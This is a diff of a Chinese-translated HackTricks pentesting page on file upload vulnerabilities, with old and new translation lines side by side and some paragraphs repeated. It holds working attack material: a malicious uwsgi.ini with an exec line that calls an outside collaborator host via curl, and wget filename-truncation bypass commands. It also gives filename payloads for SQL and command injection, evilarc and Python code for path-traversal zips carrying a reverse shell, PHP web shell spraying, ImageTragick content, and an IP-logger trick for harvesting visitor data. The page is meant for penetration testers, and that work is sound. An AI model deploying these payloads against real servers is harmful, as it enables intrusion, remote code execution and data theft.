LPT6, LPT7, LPT8, and LPT9。 -- 也尝试上传一个可执行文件（.exe）或一个看起来不那么可疑的 **.html** 文件，这些在被受害者意外打开时可能会执行代码。 +- 寻找可以**重命名**已上传文件（以更改扩展名）的漏洞。 +- 寻找 **Local File Inclusion** 漏洞以执行后门。 +- **Possible Information disclosure**: +1. 多次（并且在**相同时间**）上传**同一文件**且使用**相同名称** +2. 上传一个名称与**已存在的文件**或**文件夹**相同的文件 +3. 上传一个名称为 **"."、".." 或 "..."** 的文件。例如，在 **Windows** 上的 Apache 中，如果应用将上传文件保存到 "/www/uploads/" 目录，"." 这个文件名会在 "/www/" 目录下创建一个名为 "uploads" 的文件。 +4. 上传一个可能难以删除的文件，例如 **"...:.jpg"** 在 **NTFS** 上。(Windows) +5. 在 **Windows** 上上传包含 **无效字符**（例如 `|<>*?”`）的文件名。(Windows) +6. 在 **Windows** 上使用保留（禁止）的**名称**上传文件，例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。 +- 也可以尝试上传一个可执行文件 (.exe) 或 .html（看起来不那么可疑），当被受害者意外打开时会**执行代码**。 -### 特殊扩展名技巧 +### Special extension tricks -如果你尝试向 **PHP server** 上传文件，请查看 [**.htaccess** 技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\ -如果你尝试向 **ASP server** 上传文件，请查看 [**.config** 技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 +如果你正尝试向 **PHP server** 上传文件，查看 [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\ +如果你正尝试向 **ASP server** 上传文件，查看 [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 -`.phar` 文件类似于 Java 的 `.jar`，但用于 php，可以**像 php 文件一样使用**（用 php 执行，或在脚本中 include 它……） +`.phar` 文件类似于 Java 的 `.jar`，但用于 php，可以**像 php 文件一样使用**（用 php 执行，或在脚本中 include……） -`.inc` 扩展有时用于只用于**导入文件**的 php 文件，因此在某些情况下一些人可能允许**此扩展被执行**。 +`.inc` 扩展有时用于仅用于**import files** 的 php 文件，因此某些情况下有人可能允许**该扩展被执行**。 ## **Jetty RCE** -如果你能向 Jetty server 上传 XML 文件，你可以获得 [RCE 因为 **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以，如下图所示，将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell！ +如果你能向 Jetty server 上传一个 XML 文件，你可以获得 [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)。因此，如图所示，将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -有关此漏洞的详细探讨，请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 +关于该漏洞的详细研究请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 -如果能够修改 `.ini` 配置文件，uWSGI 服务器可能会被利用以实现远程命令执行 (RCE)。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和运算符。值得注意的是，`@` 运算符以 `@(filename)` 的形式用于包含文件内容。在 uWSGI 支持的多种 scheme 中，"exec" scheme 尤其强大，它允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时，这个特性可以被用于远程命令执行或任意文件写入/读取等恶意用途。 +远程命令执行 (RCE) 漏洞可以在 uWSGI 服务器上被利用，前提是攻击者有能力修改 `.ini` 配置文件。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和运算符。值得注意的是，'@' 运算符以 `@(filename)` 的形式使用，旨在包含文件内容。在 uWSGI 支持的多种 scheme 中，"exec" scheme 特别强大，允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时，这个特性可能被滥用以实现远程命令执行或任意文件写入/读取（Arbitrary File Write/Read）。 -考虑下面这个有害的 `uwsgi.ini` 示例，展示了多种 scheme： +考虑下面这个展示多种 scheme 的恶意 `uwsgi.ini` 示例： ```ini [uwsgi] ; read from a symbol @@ -126,17 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. +payload 的执行发生在配置文件解析期间。要使配置被激活并解析，uWSGI 进程必须要么重启（可能是在崩溃之后或由于 Denial of Service attack），要么将该文件设置为 auto-reload。auto-reload 功能（如果启用）在检测到更改时会按指定间隔重新加载该文件。 -在解析配置文件期间会执行 payload。要使配置生效并被解析，uWSGI 进程必须要么重启（可能在崩溃后或由于 Denial of Service attack），要么将该文件设置为 auto-reload。如果启用了 auto-reload 功能，检测到更改后会在指定间隔重新加载该文件。 - -It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation. - -理解 uWSGI 的配置文件解析的宽松性至关重要。具体来说，上述 payload 可以插入到二进制文件（例如图像或 PDF）中，进一步扩大了潜在利用的范围。 +必须理解 uWSGI 配置文件解析的宽松性。具体来说，上述 payload 可以被插入到二进制文件（例如图像或 PDF）中，从而进一步扩大潜在利用的范围。 ## **wget File Upload/SSRF Trick** -在某些情况下，你可能会发现服务器使用 **`wget`** 来 **download files** 并且你可以 **indicate** the **URL**。在这些情形中，代码可能会检查被下载文件的扩展名是否在白名单内，以确保只下载被允许的文件。然而，**this check can be bypassed.**\ 在 **linux** 中 **filename** 的 **maximum** 长度是 **255**，但 **wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**，这个文件名将 **bypass** 该 **check**（在本例中 **".gif"** 是一个 **valid** 扩展），但 `wget` 会 **rename** 该文件为 **"A"\*232+".php"**。 +在某些情况下，你可能会发现服务器使用 **`wget`** 来 **下载文件**，并允许你指定 **URL**。在这些情况下，代码可能会检查被下载文件的扩展名是否在白名单内，以确保只下载被允许的文件。然而，**此检查可以被绕过。**\ +在 **linux** 中 **文件名** 的 **最大** 长度是 **255**，但 **wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**，这个文件名会 **绕过** 该 **检查**（在本例中 **".gif"** 是一个 **有效** 的扩展），但 `wget` 会将该文件重命名为 **"A"\*232+".php"**。 ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -159,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -注意，**另一个选项**（你可能会想到的绕过此检查的方法）是让 **HTTP 服务器重定向到不同的文件**，这样初始 URL 会绕过检查，然后 wget 会下载重定向后的文件并使用新名字。除非 wget 正在使用 **参数** `--trust-server-names`，否则这 **不会奏效**，因为 **wget 会以原始 URL 指示的文件名下载被重定向的页面**。 +注意，**另一种选项**（你可能会想到）来绕过此检查是让 **HTTP server 重定向到不同的文件**，这样初始 URL 会绕过检查，然后 wget 会下载重定向后的文件并使用新名称。除非以 `--trust-server-names` 参数使用 wget，否则这**不会起作用**，因为 **wget 会使用原始 URL 中指示的文件名来下载重定向页面**。 ## 工具 -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具，旨在帮助 Pentesters 和 Bug Hunters 测试文件上传机制。它利用各种 bug bounty 技术来简化识别和利用漏洞的过程，确保对 web applications 的彻底评估。 +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具，旨在帮助 Pentesters 和 Bug Hunters 测试 file upload 机制。它利用各种 bug bounty techniques 来简化识别和利用漏洞的过程，确保对 web applications 的彻底评估。 -### 使用 snprintf 特性破坏上传索引（历史） +### 使用 snprintf 特性损坏上传索引（历史） -一些遗留的 upload handlers 使用 `snprintf()` 或类似函数从单文件上传构建多文件数组，这类处理器可以被欺骗从而伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断问题，精心构造的单次上传在服务器端可能看起来像多个带索引的文件，从而混淆假定严格结构的逻辑（例如，将其视为多文件上传并走上不安全的分支）。尽管如今较为小众，这种“index corruption”模式偶尔会在 CTF 和老旧代码库中复现。 +一些遗留的上传处理器使用 `snprintf()` 或类似函数从单文件上传构建多文件数组，可能被欺骗成伪造 `_FILES` 结构。由于 `snprintf()` 行为中的不一致和截断，一个精心构造的单次上传在服务器端可能表现为多个带索引的文件，从而混淆假设严格结构的逻辑（例如，将其视为多文件上传并走不安全的分支）。尽管在当今已属小众，但这种“索引损坏”模式偶尔会在 CTFs 和旧代码库中重新出现。 ## 从文件上传到其他漏洞 -- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试实现 **path traversal** -- 将 **filename** 设置为 `sleep(10)-- -.jpg`，你可能能够实现 **SQL injection** -- 将 **filename** 设置为 `` 来触发 **XSS** +- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试触发 **path traversal** +- 将 **filename** 设置为 `sleep(10)-- -.jpg`，可能能够实现 **SQL injection** +- 将 **filename** 设置为 `` 来触发 XSS - 将 **filename** 设置为 `; sleep 10;` 来测试一些 command injection（更多 [command injections tricks here](../command-injection.md)） - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- 尝试来自 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 的不同 svg payloads - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- 如果你能够 **指示 web server 从 URL 抓取图片**，你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **saved** 在某个 **public** 站点，你也可以指向 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并 **steal information of every visitor**。 +- 如果你能 指示 web server 从 URL 抓取 image，你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **saved** 在某个 **public** 站点，你也可以指向 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并 **窃取每个访问者的信息**。 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- 专门制作的 PDFs 导致 XSS：该 [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDFs，你可以按照给定指示准备一些会执行任意 JS 的 PDF。 +- 特制的 PDFs 导致 XSS：该 [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDFs，你可以按给出的指示准备一些 PDF 来执行任意 JS。 - 上传 \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 的内容以检查服务器是否有任何 **antivirus** -- 上传文件时检查是否存在任何 **大小限制** +- 上传文件时检查是否有任何 **大小限制** -下面是一个通过上传可以实现的前十列表（来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)）： +下面是一个通过上传可以实现的前十项清单（来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)）: 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -209,18 +236,18 @@ https://github.com/portswigger/upload-scanner ## Magic Header Bytes -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -参见 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 以获取其他文件类型的签名。 +有关其他文件类型，请参阅 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)。 ## Zip/Tar 文件自动解压上传 -如果你能上传一个将在服务器内部解压的 ZIP，你可以做两件事： +如果你可以上传一个在服务器端会被解压的 ZIP，你可以做两件事： -### Symlink +### 符号链接 -上传一个包含指向其他文件的软链接的压缩包，然后访问解压后的文件时，你将访问这些被链接的文件： +上传包含指向其他文件的软链接的链接文件，然后访问解压后的文件时你将访问到被链接的文件： ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -228,18 +255,18 @@ tar -cvf test.tar symindex.txt ``` ### 在不同文件夹解压 -在解压缩过程中在目录中意外创建文件是一个严重的问题。尽管最初假设这种设置可以防止通过恶意文件上传进行的操作系统级别命令执行，但 ZIP 压缩格式对层级结构的支持以及目录遍历能力可能被滥用。攻击者可以利用这些特性通过操纵目标应用的解压功能来绕过限制并逃离受保护的上传目录。 +在解压过程中意外在目录中创建文件是一个严重的问题。尽管最初可能认为这种设置可以防止通过恶意文件上传进行 OS-level command execution，但 ZIP archive format 对层级压缩的支持和 directory traversal 能力可以被利用。这使得攻击者能够通过操纵目标应用的 decompression 功能来绕过限制并逃出 secure upload directories。 -用于生成此类文件的自动化利用工具可在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获得。该工具可按如下方式使用： +可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获取用于制作此类文件的 automated exploit。该工具的用法如下： ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -此外，**symlink trick with evilarc** 也是一个可行选项。如果目标是针对像 `/flag.txt` 这样的文件，应在你的系统中为该文件创建一个 symlink。这样可以确保 evilarc 在运行时不会遇到错误。 +此外，**symlink trick with evilarc** 是一个可选方案。如果目标是像 `/flag.txt` 这样的文件，应在你的系统中创建一个指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。 -下面是用于创建恶意 zip 文件的 Python 示例代码： +下面是一个用于创建恶意 zip 文件的 Python 代码示例： ```python #!/usr/bin/python import zipfile @@ -257,11 +284,11 @@ zip.close() create_zip() ``` -**Abusing compression for file spraying** +**滥用压缩来进行 file spraying** -欲了解更多细节，**请查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP 代码用于执行通过 `$_REQUEST` 传入的命令。 +1. **创建 PHP Shell**: 编写 PHP 代码以执行通过 `$_REQUEST` 传递的命令。 ```php ``` -2. **File Spraying and Compressed File Creation**: 创建多个文件并将它们打包为包含这些文件的 zip 归档。 +2. **File Spraying 和 压缩文件创建**: 创建多个文件，并将它们打包到一个 zip 归档中。 ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: 使用 vi 或十六进制编辑器修改 zip 内文件名，将 "xxA" 更改为 "../" 以实现目录遍历。 +3. **使用 Hex Editor 或 vi 修改**: zip 内部的文件名使用 vi 或十六进制编辑器被修改，将 "xxA" 改为 "../" 以进行目录遍历。 ```bash :set modifiable @@ -288,7 +315,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -将该内容以图片扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)**（参见 [exploit](https://www.exploit-db.com/exploits/39767)） +将此内容以图像扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)** (来自 the [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -297,29 +324,29 @@ pop graphic-context ``` ## Embedding PHP Shell on PNG -将 PHP shell 嵌入 PNG 文件的 IDAT chunk 中可以有效绕过某些图像处理操作。PHP-GD 的 `imagecopyresized` 和 `imagecopyresampled` 函数在这一情境中特别相关，因为它们通常分别用于调整图像大小和重新采样。嵌入的 PHP shell 在这些操作下仍保持不受影响，这在某些用例中具有显著优势。 +将 PHP shell 嵌入到 PNG 文件的 IDAT chunk 中，可以有效绕过某些图像处理操作。PHP-GD 中的 `imagecopyresized` 和 `imagecopyresampled` 函数在此场景中特别相关，因为它们通常用于图像的缩放和重采样。嵌入的 PHP shell 在这些操作中保持不受影响的能力，对于某些用例而言是一个重要的优势。 -关于该技术的详细探讨，包括其方法论和潜在应用，请参阅以下文章：["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源对该过程及其影响提供了全面的理解。 +关于该技术的详细探讨，包括方法论和潜在应用，请参见下面的文章：["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源对该过程及其影响提供了全面的理解。 More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Polyglot files 在网络安全中是一种独特工具，像变色龙一样可以同时以多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar)，它既可以作为 GIF，又可以作为 RAR 归档。此类文件并不限于这一组合；像 GIF 与 JS 或 PPT 与 JS 的组合也同样可行。 +Polyglot files 在网络安全中作为一种独特工具，就像变色龙一样可以同时作为多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar)，它既是 GIF 又是 RAR 的混合体。这类文件并不限于这一组合；例如 GIF 与 JS、PPT 与 JS 的组合也是可行的。 -Polyglot files 的核心用途在于其绕过基于文件类型筛查的安全措施的能力。许多应用的常见做法是仅允许上传特定文件类型——例如 JPEG、GIF 或 DOC——以降低来自潜在危险格式（例如 JS、PHP 或 Phar 文件）的风险。然而，polyglot 通过符合多种文件格式的结构特征，可以悄然绕过这些限制。 +polyglot 文件的核心用途在于其规避基于类型筛查文件的安全措施的能力。各种应用中的常见做法是只允许上传某些文件类型——比如 JPEG、GIF 或 DOC——以降低潜在有害格式（例如 JS、PHP 或 Phar 文件）带来的风险。然而，polyglot 通过符合多种文件格式的结构特征，可以悄无声息地绕过这些限制。 -尽管具备适应性，polyglots 仍然面临限制。例如，尽管一个 polyglot 可能同时具备 PHAR（PHp ARchive）和 JPEG 的特性，但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统在允许的扩展名方面相当严格，polyglot 的结构双重性可能不足以保证上传成功。 +尽管具备适应性，polyglot 也存在局限。例如，虽然一个 polyglot 可能同时体现为 PHAR 文件 (PHp ARchive) 与 JPEG，但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统对允许的扩展名有严格限制，polyglot 的结构双重性本身可能不足以保证其被接受上传。 More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ### Upload valid JSONs like if it was PDF -如何通过伪装成 PDF 来上传有效的 JSON 文件以规避文件类型检测（技术来自 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**）： +如何通过伪装为 PDF 文件来上传有效的 JSON 文件以规避文件类型检测（技术来源于 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**）： -- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内，它就被视为有效（示例见文章） -- **`pdflib` library**: 在 JSON 的某个字段内加入一个伪 PDF 格式，使该库认为这是一个 pdf（示例见文章） -- **`file` binary**: 它最多会读取文件的 1048576 字节。只需创建一个比这更大的 JSON，让它无法将内容解析为 JSON，然后在该 JSON 中放入真实 PDF 的初始部分，它就会认为这是一个 PDF +- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内，就被认为是有效的（示例见文章） +- **`pdflib` library**: 在 JSON 的某个字段内加入一个伪造的 PDF 格式，使该库认为这是一个 pdf（示例见文章） +- **`file` binary**: 它可以从文件中读取最多 1048576 字节。只需创建一个比这更大的 JSON，使其无法将内容解析为 json，然后在该 JSON 中放入真实 PDF 的初始部分，它就会认为这是一个 PDF ## References @@ -331,5 +358,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) +- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) +- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}}